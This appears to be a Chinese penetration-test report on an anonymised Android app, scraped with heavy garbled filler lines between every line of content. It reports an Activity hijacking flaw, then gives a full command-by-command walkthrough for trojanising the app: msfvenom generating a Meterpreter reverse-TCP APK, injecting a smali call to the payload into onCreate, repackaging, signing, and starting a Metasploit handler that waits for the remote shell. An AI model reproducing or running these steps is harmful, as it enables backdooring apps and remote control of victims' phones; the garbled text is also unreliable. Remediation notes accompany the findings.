. t( B5 M. h0 F Z: E" X3 }3 H
: L. k$ k1 k3 _+ f
+ k% p( Q! U9 R1 }+ z& ]) {
( S! Z- |& r( l& |' { 表1-2 测试结果 ) `5 q) q7 H8 ]6 [! P3 y
u5 d# p# w$ S- Y" H8 y4 D: {
. B4 O" F; j$ v% `/ U3 F/ r1 U7 [8 L p4 Y- \5 f Z2 Y5 G, N2 P0 y
- q7 m3 c" T4 j# @$ |4 X0 A, R) B9 u% a' G$ y
4 k+ m* R/ D: s2 G
+ y7 O% o2 z6 t( A
6 v: p, o- i: P9 H/ Z
( H5 K4 R5 f0 O4 w) X( t4 R
8 y% m* z0 A: W) ]8 M7 t: l9 c1 f, ^0 V8 d
2 检测结果
" P. ~) w/ S" S" p5 t [6 I8 x" ~8 f I) b
# `" u, C3 D4 O4 M# C& V
% I* ]' I7 q+ S" u/ s2 F
3 Y( J7 b _. b; C5 _+ y! ?; \7 v. U& N' p% ~8 B$ G
2.1 某某某
) r* _) A7 @. g# O" m& B% c+ z/ B4 H; t5 c1 B# Z+ w4 M( U
3 y% K* F; U( I7 w" r$ Q
7 p5 z/ Z5 o6 Y, S
5 n: b, S. S7 p: t
) X( C; n1 h3 p& U 2.1.1检测目标
6 e v. l1 Z% @+ Y
y: ?* |. }' P7 e) [/ t7 D0 x9 y
8 i7 m; l/ i% ]- o6 V
3 F4 D* {8 n% Z3 f. R! W
# J/ @( |/ m6 I7 l1 v2 _( s4 a; Y5 N7 z1 |$ K3 ^
目标地址: 某某某某某某APP 2 Q: t; `( Q! C+ a5 n
( O( ?+ `3 v0 G S/ n1 c5 c
# T0 `% h: V7 y0 w& H0 q
/ G7 Z/ @) T6 y, F7 u, m : }& ~" z( Z7 |: \9 [ w
! K: ]$ v& \! j% J/ @2 I 2.1.2检测结果 & C7 N- E9 C; @7 i2 |+ |( P* a
@% e3 H" L# e) i
; a# E, o* M. l0 \
4 {5 ?4 u+ W6 x3 ]( d 0 ?8 e- P- O4 i( B7 `
1 T. H2 h& [) \. H3 W: n5 @
2.1.2.1 ) ^+ ?3 Q! _% r1 z
9 b3 X" z" h3 w% g
0 [' m+ j' B5 A! Q0 H& @
7 N& P- }8 V1 R6 h
3 {1 ?) a9 l6 o" R# [7 S
; I1 k/ r, _# n5 S* H 漏洞链接地址:某某某某某某APP 0 v9 ?( w) l+ J# u' H) P
3 O- m4 f2 W3 d! Y' r! t2 r2 @
6 c5 u" ?" h% j* e+ x8 B3 Q( j) A- ^7 l. y! r6 m
% N1 o0 W( L9 ?' _% Z/ A5 W4 v3 J3 U
' I& d! E2 u6 s2 v( ~# P& f$ q
, ]5 ~$ l6 j6 O; T. l8 t7 B* W
# |. t6 y f7 @4 k* Q& _4 Z
5 Z) G0 |: ]) C$ j" [5 g/ N+ E x% }7 q; d; k
$ \" y: F0 X1 h& S* V
漏洞分析及取证: ( r0 k0 s' }* p/ C% { h/ n
' Y0 A, C( u' o5 D8 V7 }
" ?9 v0 A+ S8 S7 t; q# \$ p0 {' n0 Z& H/ ~6 U z5 y
) {* o( o9 X; E# N$ a
. ~6 I$ y4 [3 V/ R, e1 w( I; Y 通过androidkiiler反编译,发现app未进行安全加固, Activity 为com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图: 6 y) d6 r2 p, t* v0 }
: u! m6 _9 @3 G# j7 j
! f) `& S u( D: r w0 |9 d: A2 X; V: @1 D
; y g5 z3 j8 e M1 ?4 F0 w0 O
/ C3 t+ K* }3 a4 G& U1 i5 x3 B
9 e5 t3 }: \8 ^! ? y; H9 l( \
h# z: o$ s+ ?+ {5 e: j T
/ d$ X8 k O Q+ ^7 O # X! J9 V. ?1 V# Y
. S' }: S: f p3 O! |! G# l
" u9 T0 ?* i( c9 O3 t: ^) I+ Z# o, m8 C6 U
6 F% X3 f# r6 T" C0 [! a3 s4 ]
; F; s; q' E7 d
; V3 o4 u9 f+ ~8 s# m# F3 ?1 E7 {! j9 q/ E# w" j2 _5 b
, S9 Z' \( \ \) a, w
4 l, a& K9 B+ c: J: i
8 ?, l) g$ n, l& h8 M( e; `# l+ h5 ]' y
9 o* f. t0 A0 s7 e8 t% r9 Y
0 C; x* V9 B9 R0 m, b" g6 b
$ K& u$ K# {8 E: o# o, M) \
H' O# a4 m6 w% a8 G8 {' |! g
' U: h! u) v8 Y8 t1 F; d
! l! S$ F! C( D$ r$ P4 b
% g, f3 a# @/ o g
7 Y; C N0 b. ^
9 ]# I; A$ X, i5 m
3 ~7 ?" L4 n3 b x6 \3 ~% V
+ O1 O9 r' G8 u( a. E$ ]$ S7 H* [* N8 K4 N, l+ ]
7 d$ Q4 ]' G" w& U
* Z: {0 ]* c: E 漏洞危害:高
2 Q+ p0 I, R. p0 ?) _$ E. R8 k# f: d2 V6 E- s# j& |5 T
3 M+ y; y: r0 M$ U6 w
) k, C& q" b& D# @
! v5 n9 i: f1 w2 J2 H: \; K& V x- e$ g
3 V. G( |5 D; D: w% z4 d& Z+ n
$ p# F1 q2 f' e9 K0 S S: d ( U' Y" Z, ^# Q1 y
$ L5 n+ v% H6 ~
% Z8 ?! E3 Z3 G! F3 @( s( m! O0 N9 u, u$ U' w
|
2 r( P7 {* N9 X" S# B8 l7 x" k. O8 ]: A( y7 q! _
9 c" A1 N% h+ @- C" \
, d; r$ E8 P, P* x: u
严重程度 8 s& W. M! @0 p* `! F
( \# O7 w$ i( g% K' i" K% [
2 q! v7 s0 t5 ]! l& q! c: q$ n: Z' Q5 U8 M$ ]
|
+ u0 G! H, @2 H7 }% ]+ w8 w+ c0 O( r, v
0 b; {- L+ t; M+ S- K8 w! [
- ~6 @9 J5 \0 w# m4 m & w2 b8 Z" ^! x7 h( X+ K
! U% n8 d* m! }8 [, q 高
B/ A1 i' s" Q/ F8 J5 c
2 j e2 p9 t$ _6 { 3 L4 U/ j8 ] v0 E
) r( i z7 X1 e/ X1 ~9 i8 l |
8 w0 F5 _3 }$ ?0 W% n. M! a, a$ }# `. \ z) S
& z" y q$ F( R6 x
, }/ P8 V6 n" g7 H4 M
+ p6 P f( `/ H9 Z
1 L+ K5 m8 U( E ■ ( `3 D) ^, d _ `4 K
8 n0 C* g- J) }
0 H7 l3 Z+ a( D. F, r8 W! D6 e8 M% o' \- r1 O* u+ H
|
) r) l0 X+ x+ m9 i5 _) G! Q/ t3 [0 |8 \4 `5 H+ N
( b* Q$ r" S8 `1 i
9 @1 Z) ~4 k( R; K% _4 j; r
' z: e1 D+ I8 A+ D+ N, O+ ~" ]& p& @% G* }$ @: `
中 , }6 k) c9 U0 _/ s
& W; u% b u3 O& n6 G, U/ w. S % C3 D/ t- v; l$ s' Z- M+ h
& x# E" [) x! C& h+ r4 C' T" Q3 ~ | ' Q9 h- T' x5 i$ F
) [! U( `6 n1 M9 S
5 Z+ p9 L" Z% V# v& Y. R! O3 S) F2 `2 r' C8 l& t& Y8 i/ {& o
7 B% j, E2 K+ \, \5 R2 U5 C, g- A6 E# f/ D* O; X. c* M
+ T/ t) ~9 [, V/ j5 X$ H+ y
/ I5 v! v) |4 Z2 } R4 I: v" |
4 e d/ r' }- m1 [% g
& F a# K) i3 F! [ |
% M4 j4 [! k* H' V" E7 g: m0 J9 v* a: g m% S5 s
7 I m" n) t1 W, z. w* a+ Y% S5 p
3 @( k/ c2 ?: ~3 H) f6 c
2 b' W8 X' D6 k1 I
低 * A5 y8 r( y7 `
+ R* v* `# K @' K; B
: Y% G7 U4 H, x0 R$ h$ l6 J( c* [2 J7 W8 w! K
|
: j! `1 c$ N' L. e8 b
0 h1 a! N# m- u" `; P* ^ * H! e4 \2 u; y& J- {
7 {: L" x) O# h8 f. D 8 E5 Z% Z3 @( E5 B
; B( \) \, _! I& Z " Y& M3 o+ M5 u" p4 b' ?6 I9 L
8 B4 q9 T* X; ?0 ]4 W & M1 l f# E1 H# b9 B, D2 _
7 [* {6 W* r. z8 Q; n; l$ \
| & V. S& f+ g3 c- @* f4 ?6 J
1 E I$ S: ]" z$ E0 g4 k
0 I8 `) Z( U& r, x6 A/ _
B7 M' Z6 ~9 N) @ $ i/ L# I$ u/ n2 I
* l2 }/ e: A; Z, F8 C3 t5 c' E
( l- O0 ~$ n! t8 j7 h" K0 N$ n# _/ ~4 v* X
* l$ D; p; M9 p, f8 P7 \
/ K% r. s- r& }7 X9 ?1 |/ p
z* a7 X' E! A6 f% Z
# v9 a: ?6 g6 A7 W
, J4 K/ Y- A5 M7 p
O! `7 m! P4 h6 R( ]
7 M& ~6 L* m V) p: x/ {
# @2 x, g( h6 S: L
/ j% t+ a. P2 _0 z. ~0 y2 @" U$ s
8 \# }6 a1 `# }$ [/ j7 T 修复方法:在 APP 的 Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。
5 h, v0 }9 j4 s, ~3 ^/ U2 ~2 Z* o, }1 {# ] [2 G$ K$ t- N( D
& k0 k0 R! x) h' M- X
& w. k( A$ r W: B# O# S/ j+ G
1 p9 B, ^$ X0 ^6 C
) k4 a! S- i4 X( b! r o! f
7 S, |" R( L% m$ I4 V" E
% e& ~: v; L/ y$ [7 j
% Z4 y( K9 j' ~& c3 [* I$ G; r" X1 W( R
j! _" P0 d' P3 k2 R: r( E; \. T
7 h; E% w% X s$ c* \0 I! L! m& F+ P# |: U, U& d
- \! { v% P% [& W
; N, D( e3 K* [6 ?! ^
0 q, A2 }0 [2 d
; S: e$ Z9 @, f. |6 e. q+ V9 j
& v9 y9 S; f' E
6 B' N) G+ R' T: e7 s8 @ ]
2.1.2.2
; w+ g a6 O ~' r0 d& C& q9 q
3 |: M% c, m7 g1 h5 ?* h T
$ ?% R# \0 @1 _* [1 c- z
/ R1 V6 @" W: m% u" H* Z2 x5 B. H( z
漏洞链接地址:某某某某某某APP : K3 E) Y4 `$ D& s- k' ?: F* V
2 R. \" G. V" n2 B- x; q
! l) N! H- ?" K% d
: [# M9 `) ? i4 A V- C( Y: r0 H1 [
) c, ?- j& @8 u# Z
' p' J: @3 k2 t- }
漏洞分析及取证: 1 F2 [# R% t3 l: O8 C6 Z& O+ ]/ Q
/ N; v' M. _1 N0 }' Q) f
) y: {, b3 G% s
! ?8 V0 l6 a' l Z" m1 w
f) I. G# A/ \) _7 e
: e# O( I0 A: |' q9 ~ 通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下: 0 ]; K& H5 }7 P' {+ Q0 a# o
) ?' d2 B' s! n" G1 ~4 } [0 k/ n
# _$ w+ i3 ]9 z( g; [6 z- b _4 ?) ~3 R4 Q* |9 t) X
7 f/ S5 d' {( Y8 ~$ }/ f5 V
" W4 r5 J$ i2 _8 }1 {* Q
用Metasploit 生成木马 apk 6 J. f4 A' I( }+ A
4 l8 k [) ~/ H( Z. V
0 l6 l4 C! k) m! A( P9 L- y6 W0 S. p- W+ `2 f3 ]
7 u" b- \6 P, [! [! i* H; H! X
4 m+ E: _& S1 V+ _# F' q3 b
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk
/ }; w! w# ^# v
: C5 F/ k7 k9 J0 K
8 G# ^# H+ k0 j) L. J: \& z
/ z# k9 V* \ X
0 ?5 B6 r& _' R0 h' b$ f/ d6 T
0 |5 y: `4 s' P2 R! Q3 w 反编译目标apk和木马apk ) w' f1 e& l' o2 A4 L- e7 J
7 X8 S' M8 k% M9 s/ M- K6 }
/ g. M0 h( [% y0 M" j# K
2 ]1 z( T) I6 J% ~1 L2 L$ p9 O" H- h) D ) _! ]4 A1 P2 V
j$ K- Y+ H$ f% z' ?" f apktool d target.apk
! \9 V( r# v3 J8 O8 W r2 h
V1 w3 s5 t' W( ]- u apktool d cockhorse.apk
) W+ V7 u+ @+ I: H1 D
/ x+ w' c- S9 k0 j& o& A) `9 @
5 N1 o. i. n, Q$ s1 ?
7 q3 q3 U& t3 D$ e7 d
4 T5 s1 m3 v% [0 E3 _
6 F6 x; q* U+ G4 b, J- b 木马 apk 注入目标 apk + n6 P" H& {' a* Z. p7 O
) D5 t: l5 r/ Z6 s1 o
; m. _/ J/ E7 z% C. K6 v8 E n. T
8 n# E! R+ L4 z& K; B/ H7 B- b% v9 n
4 g) a* ?- J# T% ]# S$ j1 A9 d, ^, U4 S4 ^- q0 W
在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件,并在 onCreate()方法中添加如下代码:
1 X- x) B; y. w9 q1 l% d- Y6 s$ t/ T: k
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
; L2 l$ Z7 t3 h \, Z, ^. f3 f& g) O6 d- ~9 m$ `1 m' X& M
" u T# `" O6 j5 @+ V1 ~
! I m) x1 V+ X ' s$ z2 F, y5 \7 K9 Q. s' l& p; w9 m
+ r2 U# \# |. H1 A3 J. n9 _ 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复 1 n& t6 [% p9 u3 r2 G: U
3 y, G& q$ `7 {3 U8 w# ?
T% I, T$ D! E: |8 i
( K. t5 C4 a; i5 C8 B; l # X# ]3 U5 S/ L/ r. \1 s% k
- O+ s' O* w' v4 T. f
将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ 下
; U! ~! B6 k, d! f3 J" h; s* }- U$ ]. t! V9 q& J
$ C- ?3 x" `; I
2 y$ x% ~5 S# Y3 B" V
2 u2 w& ]% ]& M+ i, i
+ I1 [2 x' R3 Q
回编译生成最终 apk
4 `9 P; D5 h0 F J1 p1 k0 |5 C* r) p, _2 \3 _8 J1 y5 j( F7 a0 _* q
1 s+ n* x$ }4 C& D. y+ Z, U
( S' ]: A9 ~8 k4 _ } $ `4 k4 c" O) J: A. F* b$ `9 O
2 R# B! G5 L; a- {; |5 H7 p
重新打包
) S- c" h2 [4 Y1 i8 Y2 K; \! P6 P. j5 D. I& p# `* `( ?
- n0 p1 S# |2 Q) ], E: E8 |5 S7 C7 ?' C0 g
j- v9 v" y- @3 R; Y/ t3 g1 H- G# K$ ?; h9 g4 m. v
apktool b -o repackage.apk target_app_floder
4 C {3 R) B4 k
4 I" ^1 D. i2 P4 Z- e8 }
( N) M5 F/ |3 x1 z) c
1 m! a$ a8 W. D+ L) M" q
. I E! j4 ^4 W! \& ?
2 j/ H& H" n0 F# Q. a4 ~! S 创建签名文件,有的话可忽略此步骤
8 r$ v7 v5 C: A+ ^' ^( O: R
9 ]7 g3 ?- `! c" T
5 B9 x {+ O" b0 _4 ]$ ]8 t% x
]: J% w: t, [* [$ j. M5 k
3 J& R6 c8 w6 Y8 [7 }
' d) C; a& x) A* G \4 @/ ]9 ?: O keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000
$ n3 T$ F; p, x% @. G# u' l- c2 Q. j5 I
/ T' o0 {" c3 x
* U! p2 E7 f" Y$ b9 P$ j
, ]5 g7 k2 i8 W9 G0 | Q+ O
+ \# q! \! z0 G' Q3 l/ O% ^6 T! ?/ [ 签名,以下任选其一 : H# E# @. I: y' z# I" D$ I
- y4 P( Z/ n! ?
$ v6 p7 k7 q- H* m
6 L9 O, t9 c7 `; m* y
+ F* j" x5 p [+ E; p# [) G" C
7 g# @# @4 s; b, h2 u/ Y
jarsigner 方式 7 S- v/ O3 z! {" ^3 K# z
8 E3 v6 w7 H) D" G( p+ \5 z
- g: U* s4 {( w v/ {" Y9 I& m- T# d! p% V8 y9 c6 d
1 S+ C4 F `* X8 D' \. K Z. z! F' z' P
jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname ) ?2 u5 q) @, |$ g" ]$ \
% e- r V' J- E' Q6 g
+ }1 n3 A2 s- x2 S
/ f L' H7 e$ R& q9 s- h
$ E: F( D' r% o$ \
; e! J7 l, s7 |6 | apksigner 方式 8 ~' _( z# O( o6 Y
; L, h) T- {( b' W x v
] v; P4 O: N+ ^( C% n
) W9 M' [* ~# k9 [
$ a+ `8 w1 G, O; D, q0 F6 D# v( @% V j) C
apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk , N' r+ ~+ }; Z0 M9 M4 x
! [, s( J1 x' I7 W' q! Q
! W/ T' T Z f
7 C+ ?2 u6 R9 j! v
- l, y9 U4 k3 ]+ k0 U. z0 }; I- V! |2 J# r" ~: w2 V7 H, l) q
如需要禁用 v2签名 添加选项--v2-signing-enabled false
! j; o, i e" h1 v+ U& L* _: K; z' N R# v, d
$ {5 T; p( N! V$ X' H" p: m+ S8 Q! O! T8 s
% u( P8 w* _1 A0 d& _: K) V
( |& t6 u. p v3 i
验证,以下任选其一 0 k1 D1 Z8 y( m6 E2 S
: k: U; G, M8 _
/ \* k' ~) d: g8 \1 r# x" d) n; l
& c3 |$ _4 b, @( J# J" E% [
# I% M7 d* r9 h
% b" L& b) W7 E4 y( S jarsigner方式 8 X# e: {, J$ [* w
9 d! h8 W2 s/ p2 a2 G$ R
4 {1 Y4 M3 {! A6 p6 |; p
, o3 r t9 p4 ]$ m% r; ?
6 v$ ^$ l, F: ^% i1 I) M- g! i
2 o" g2 A; W( R4 V
jarsigner -verify repackaged.apk
5 |/ x+ a, k; M: o" i( ? s' B( K
8 @; b2 |- i; _/ ?4 X
" z$ v0 a, T% k
/ u+ g" P& a1 T# h% P8 M" t
* s# Y0 w4 t& X& i. ? \: R1 p6 @; {7 L$ e
apksigner 方式
9 X( v& k' d8 Y! e7 C0 O7 Y
! [( F# I9 K; F
8 Z L( Z e8 @) b1 e2 J' W6 q& X: x, G- |& W
+ @5 Y; d p& C
0 r, b+ G5 N# ]6 d. p apksigner verify -v --print-certs repackaged.apk
. K% c. i% E. h. v' b& a0 B% |7 E* f t4 B; F$ O% d, m
0 i5 x, T( ^6 d* w: y
2 ^/ C& c3 Z( ~6 _
_5 P8 | n2 I8 F
P: L) I5 [3 C) Y r/ S0 H keytool方式
6 Y4 S1 E2 U. ]) J
6 V+ ^% |; ~2 t( h0 D8 w1 M
# T4 {$ u# C! Z) H5 E& A0 L& I( j. f9 F8 B: k
8 W2 Y/ y7 t; v. d
' C w# [( @6 O. O
keytool -printcert -jarfile repackaged.apk ; u1 s$ j& ]" D- l. l4 ?
9 U: I. e& c9 @" J, N( m! ^- ]
/ c! o, e( f# F3 y: e$ b' s
, X/ Q7 r4 P( V0 p) B8 s
& e7 l& {, B: ~" I4 r# N
# Y! e& H$ d" F; n 对齐
; L8 A$ S- N) f0 o8 v! D
! ~/ g/ r% o* F
! j- M2 z7 k4 K- F
, h$ {* P# B8 G: H6 ~4 v* A t0 A
1 W! p: |; N) d3 Y2 R, p' o- S! `
. ~7 I( [2 K ^7 `" J0 f 字节对齐优化 ( R% x7 n6 z6 Z g
n+ f5 W V' u8 J( m3 M# T+ o
, k) A& Z7 s1 W5 n
0 d" K/ H( E0 e( d2 y2 h7 R! i/ D) p 3 [0 i7 Y) S8 p9 c8 F* P: X
# P1 t- P& G/ m$ A9 F' B
zipalign -v 4 repackaged.apk final.apk : g# G9 J2 y* d7 u& j1 {
) ]) G3 T3 }( {4 l( _/ G/ p
2 L5 ?1 O5 y) b& _3 @& z0 q
4 d) F; M5 C. h8 M! _8 I0 y
- E* p3 ]* W) ~, F& N
3 k! u6 K9 I( o/ F1 o; H# s, n( w 检查是否对齐
% D9 Z/ X( p) C0 l4 n. n
' G! H) ^1 h$ j1 m& `1 {0 q7 L
% ?8 |0 M* h7 `6 t3 T
: I8 k& Y9 P- ]7 p5 y3 U" J
, U* u- V1 J9 a
7 N. m0 s# U+ A5 b zipalign -c -v 4 final.apk 6 t7 _$ c: D: v2 S% x. ^# f3 {* q
# \5 K3 M! S. f4 d3 k3 b9 _
2 z" Q& f0 c& v& P0 K4 M5 Z" k4 h# K
+ `7 @1 d) R) u/ b. o% f ' h0 A" f0 P p' z
7 s8 ?2 d; v4 a# X; j
注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行 " o* s8 `6 [+ l3 q+ |( z
- _7 M9 `: F' x
. M; }1 k4 e" q$ e# [; t: \$ U
, ^" q: }7 \( g ?- `6 } \
, A( L1 [. Q0 c9 ?( L' K
1 |( Q! p& \4 _/ d 启动Metasploit控制台,配置参数等待上线 6 _9 W& ?+ j3 w& Q' p
7 Z8 ~' q* I8 q1 H# }! A
" x; ]* Y" A5 I7 O
8 \. b+ U/ {3 T/ i. s! l
5 k Z) J: D3 G. J i$ T: ~, L0 i/ g( V7 r
在终端依次输入如下命令
& t$ s4 x7 {# `9 ^
" s# G% T% H* A- }% _
, `* E9 w9 u, N: i- I D1 v( k3 T
. w0 t4 t _, H- S
+ D& U& C. @1 d
. x( }: L2 w, G' x W$ f0 D msfconsole
& y- O( R3 s5 \% y0 c5 P! ]) e% w2 C& k# P" E* S
5 E% {" l' y9 H. ^1 X! n9 B* c
' T, p" s! e1 f1 Y1 i
6 o# a0 v4 i2 T9 I, L
6 e2 L1 }3 n& m' ^5 L use exploit/multi/handler 5 X) A7 ^6 H1 o* ]
F- X+ U8 i8 }. d8 A
; l$ r H* O. @3 C- z# y: B' `
0 p' f- ]9 e: ~7 F$ V3 z1 K" W% j* U
1 x; J1 x# W5 [# x0 i+ K2 M
# b8 Q; B3 N& }/ t set PAYLOAD android/meterpreter/reverse_tcp
3 |6 D: e# E5 V
2 }7 l% J, A) p" x6 f' ]" F8 n; |# F
/ Y/ A* v( L& f5 H4 X, m, v3 y5 l! H
9 B& ~( p# p% R8 L" ] g
6 m$ B4 G( E7 d5 O* z/ h# b( D; h
~- U2 o5 w$ V6 r set LHOST 192.xxx.xx.xx
" f& U; O" v" g6 l. \, H8 h' R; m N: u
8 T9 g" _; ?/ Q; @* c7 Q
* o7 L) q$ \! }2 o 9 W# Q, ~" y* U8 U1 `" |2 D
+ y$ m1 c% g; _4 ^: z$ J4 Q
set LPORT 4444
! h1 r' l9 X1 Y, X" k O% v: d9 V# {% w" }4 T3 i
& M3 y& D, O) i" u8 _! O, j
+ s) a: q. P% D1 u: Q+ v
$ d5 ?* ?* g% f9 n2 m
G/ {* G; x' H5 R4 ~$ z+ g# c exploit , f2 {9 t# C( _1 Z& h
; i8 Y# D1 b) q. k
4 M& {; h% T/ X' M! ?
9 u( r7 k8 R. v9 s 4 K2 j' n+ l2 N" H7 A5 u& y1 T' [
4 t5 X, B! |4 r6 v0 v9 j. r1 z 之前我们把入口放在 MainActivity 的 onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图:
! A/ U0 O% l$ E$ o
% t. ~% } H0 K' T+ I' F4 h5 F! d6 b
7 o2 `4 N9 x8 l! h* B5 ~, i, _$ n" P) N# i( ^7 _5 X# N2 W: N& f% B; [
- m- v$ Y( O& k
" R5 q. Z& C! z+ X# n 漏洞危害:中
$ |. Y' |6 L5 Y4 { B8 c# E
) u! i/ l1 d: F: w0 T7 _2 O
6 }; T6 y4 L% H" i y6 ~1 q0 Z) h) Y7 v" f3 [$ \6 H: N
4 ]8 H1 _- f: \; M
; ^% l, O2 L' i, h+ h
/ e1 Y' Q2 m& [$ p9 O
1 e% f5 f5 x. u4 t( g4 U $ _; j% t+ Y/ Q" C6 S" T
H1 w, ~; Q# B) W l% I8 O- i 4 @9 z& b' {& ^( m6 {4 S8 b/ R
* @( r! f+ M! E1 @/ \2 L/ R & s# v, `6 d7 a, `0 j+ q9 {2 l, F3 H
0 [$ v) N8 B4 d5 y' t k% }- } |
6 Y) y6 L& `/ p+ j' d" j+ T. O: ?: h
}) C2 M& l; M. W9 m# U
4 l3 N/ m! F. V
严重程度
/ K( S' k" U. a* `+ ?0 k0 {, H+ b z( x% w7 R
; v4 U8 `7 D3 k3 f
1 @! {" M+ j% r9 H$ v, I3 L |
1 ^! ^6 ?8 O* f; A1 [! J; s: m4 X0 o+ B
4 D* C( D0 y3 S# \& Z. Y. ]5 {
# q& P l4 [ j0 ^: S
2 [* O: M. T7 V" |+ T0 M
- @" W8 d0 Q) L. V( \0 |/ @ 高
2 h1 ^# {) {: w. y! I. z' e) N; r( g/ D% I+ S
- T! a5 W6 Y: R% _
0 F" _ {) k2 ^. M. q* `9 E% n
|
" C- a) M* U) B' s$ c0 I. b: U. g( ~6 B3 R5 z* S( p( _
7 E. [: K! E. ~" w
" u8 d! L4 V& T* N2 p1 c! w! c/ d
6 f: c O9 \- J( j
8 P b4 U8 t$ X, o% I/ U
■ , J& u( H3 P4 |% k
+ ]$ `: [- Q/ j4 m* [6 {4 l& _$ I8 H. ]
# Q6 m `! b* Z4 f6 Z i. U$ X/ v7 o
| 6 }. C3 \" B( @8 N
: c2 A; U" f+ c+ M/ ^0 w
2 }! o8 U3 t |9 d
6 f# d& v7 f* {6 M5 n2 x8 Q# K: N g! R, p( }& R, r1 c
) ?8 x; q, L& X: K8 V1 W$ V
中 & }; z8 U0 b! c( p3 ?* c' P
, Q x" X/ G! [. W% b 1 ^# j! I4 s( y
: M) l- o6 n" v2 e
| 1 S3 L1 c" W8 v6 O0 G( G2 t3 g4 `
. F5 q- p! Z8 {# Q* B. W
/ f4 u c4 e3 B, c4 O; ^
& `3 B! ]' G+ w1 {: H( u
, q/ S' T; R6 s. S c, w; K( O4 S
- q/ ?9 z8 p8 v$ O7 x( G8 V) L" O
# m r- m2 x) n/ _
. }8 ^0 x4 y; |1 e3 w) x% }8 P
|, g% d& y/ t0 M# p6 a+ g; U' z/ ?" G
( b9 P, [: n$ ~; I, g- g7 P7 S3 E( R; s
" ]# u* P% n% L% u, o2 |* u, u |
$ m+ j+ Q2 a- ~% @# n. ?& v4 o8 n- \1 {, q+ p l" k
9 e+ Z2 V" H* }0 p
6 M% h! ^2 {. n/ p7 v% R
) T' y. m* a: S/ O9 `7 r# y6 E
6 D4 ?) P e( m- j: ~ 低
7 `* r( O. `4 G' k/ H- N, Q( t0 `! N
h/ R$ w, S$ {( t- G+ W8 R' O" |7 d: v, e5 j0 A9 g6 k7 }
| - i& V& l' W* [+ t) o+ p3 H
3 m: f4 w7 {, ?5 v9 L& X. H
& Z( b8 Q% H/ k0 G/ d
7 e- |6 u, d$ K& A' g1 F8 H' E$ R" s ( y+ |3 I, ?; w7 h& Q$ A
2 s+ V0 `4 s( P( N9 B6 J
9 ~3 l1 s4 i+ _* i/ m/ k) F5 E( @8 ]7 h" J" e# }4 h0 O" b
* ]8 a3 @& G( A6 V
- b5 f8 L) x; J$ Y/ P ! c6 l+ {' D/ U4 e9 l& A o7 u$ q6 E
9 Y7 O5 a# F0 D7 J" T% ]; X | 8 f u/ b& S) x9 L- l1 a1 S
* }% t/ {* {% x+ P4 v% |
; a& |9 Z7 r$ Y# u' R. b) Z
; Q: r# e: B6 i* \8 Z
& j" e5 {7 `' N. J! @- ~6 u7 J8 V' k
7 ^" r( {5 S7 ?1 _& [
! M9 I1 N3 t( [% B
: m. X4 p1 l& {, }! m1 }
, D% d1 h# r- \3 }0 O( f3 D/ ?2 S' ]8 K. @
4 `% [4 d7 g6 f) I, g5 t+ M9 S% m6 z$ S& {) n5 U
' d% f; j/ ^" |' x/ H+ ^
' B! V+ t. U( S5 U
& p: N2 B( [/ s* x( z' w
) B' l/ e; o0 a, H9 ], d5 x: x* \
$ h1 f; B* ?7 V* F. F' w) M+ S. M$ m8 i; B0 W; G, b' X
修复方法: / E' h: d$ |% t d: B$ T: n
9 h5 z' Z. b2 }3 ^1 c+ ^
6 ]% q4 ~4 w, Q" F7 g1 j
1 J3 N, W+ x4 x5 F( o 6 T8 E8 z* b/ p. w3 p
. [, L% C9 J* o( C2 q 1.在 APP 启动时应做签名校验防止二次打包。
2 X; K. Q. P1 a' o8 n
) @* f1 j7 s7 A0 \% M 2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。 & s& U( L. y- s6 T- u9 D. ]) C
0 b3 o. D$ S6 ^( [3 S/ [- r
5 S+ G7 R3 Z: @% U" Z: x
. M, H0 f: x$ D5 H6 Z9 F5 o " i2 I& U# s1 ^
: w9 l d: P$ w2 f9 c
# i3 E# a' I1 f O4 @. M
. N9 L2 L& S. [' ^, v1 K
. `0 r' ~7 ^: S) ]8 `9 D, p/ [/ f2 `2 D8 s5 I( ], z
# S: G9 S' I3 C) X! E
6 w1 i, \2 K/ |6 q * x: @4 Y1 R/ ?- T, G+ ^
, I2 Q9 B+ [( K* e2 a$ ^ 0 ^8 d1 K+ Q6 x6 T
! g2 _$ M( _9 r5 k, k" l
5 q7 w9 |6 }, N4 r* u) E1 a4 K" Q
: } Y. x6 r& t
% @1 ?! h3 m0 u% D